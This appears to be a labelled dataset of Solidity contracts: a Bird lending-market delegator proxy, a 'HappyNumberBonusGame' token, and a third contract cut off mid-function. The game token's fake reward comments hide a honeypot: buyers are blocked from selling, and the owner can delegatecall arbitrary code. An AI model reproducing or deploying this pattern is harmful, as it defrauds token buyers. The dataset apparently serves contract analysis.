X
stringlengths
111
713k
y
stringclasses
56 values
pragma solidity ^0.5.16; /** * @title Bird's BController Interface */ contract BControllerInterface { /// @notice Indicator that this is a BController contract (for inspection) bool public constant isBController = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata bTokens) external returns (uint[] memory); function exitMarket(address bToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address bToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address bToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address bToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address bToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address bToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address bToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed(address bToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify(address bToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address bToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address bToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens(address bTokenBorrowed, address bTokenCollateral, uint repayAmount) external view returns (uint, uint); } /** * @title Bird's InterestRateModel Interface */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } /** * @title Bird's BToken Storage */ contract BTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-bToken operations */ BControllerInterface public bController; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first BTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } /** * @title Bird's BToken Interface */ contract BTokenInterface is BTokenStorage { /** * @notice Indicator that this is a BToken contract (for inspection) */ bool public constant isBToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterestToken(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event MintToken(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event RedeemToken(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event BorrowToken(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrowToken(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrowToken(address liquidator, address borrower, uint repayAmount, address bTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when bController is changed */ event NewBController(BControllerInterface oldBController, BControllerInterface newBController); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketTokenInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewTokenReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setBController(BControllerInterface newBController) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } /** * @title Bird's BErc20 Storage */ contract BErc20Storage { /** * @notice Underlying asset for this BToken */ address public underlying; } /** * @title Bird's BErc20 Interface */ contract BErc20Interface is BErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } /** * @title Bird's BDelegation Storage */ contract BDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } /** * @title Bird's BDelegator Interface */ contract BDelegatorInterface is BDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } /** * @title Bird's BDelegate Interface */ contract BDelegateInterface is BDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /** * @title Bird's BErc20Delegator Contract * @notice BTokens which wrap an EIP-20 underlying and delegate to an implementation */ contract BErc20Delegator is BTokenInterface, BErc20Interface, BDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param bController_ The address of the BController * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, BControllerInterface bController_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, bController_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = admin_; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "BErc20Delegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives bTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { mintAmount; // Shh delegateAndReturn(); } /** * @notice Sender redeems bTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of bTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { redeemTokens; // Shh delegateAndReturn(); } /** * @notice Sender redeems bTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { redeemAmount; // Shh delegateAndReturn(); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { borrowAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { repayAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { borrower; repayAmount; // Shh delegateAndReturn(); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this bToken to be liquidated * @param bTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint) { borrower; repayAmount; bTokenCollateral; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { owner; // Shh delegateAndReturn(); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by bController to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Returns the current per-block borrow interest rate for this bToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current per-block supply interest rate for this bToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { delegateAndReturn(); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { account; // Shh delegateAndReturn(); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { delegateAndReturn(); } /** * @notice Calculates the exchange rate from the underlying to the BToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { delegateToViewAndReturn(); } /** * @notice Get cash balance of this bToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { delegateAndReturn(); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another bToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed bToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of bTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; borrower; seizeTokens; // Shh delegateAndReturn(); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { newPendingAdmin; // Shh delegateAndReturn(); } /** * @notice Sets a new bController for the market * @dev Admin function to set a new bController * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setBController(BControllerInterface newBController) public returns (uint) { newBController; // Shh delegateAndReturn(); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { newReserveFactorMantissa; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { delegateAndReturn(); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { addAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { reduceAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { newInterestRateModel; // Shh delegateAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"BErc20Delegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
/** * Happy number bonus game * Total: 2500 * Ladder reward mode, the highest single person can get 10ETH */ /** * There will be a minimum of 5 lucky players and a maximum of 15 lucky players in this round. Each lucky player will be rewarded 0.5ETH */ /** * The person who gradually consumes the most ETH will receive a 130% reward of ETH consumption */ /** * Holder ranking reward: * First place: 5ETH * Second place: 2.5ETH * Third place: 1.25ETH * Fourth to tenth place: 0.88ETH per person */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract HappyNumberBonusGame { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function 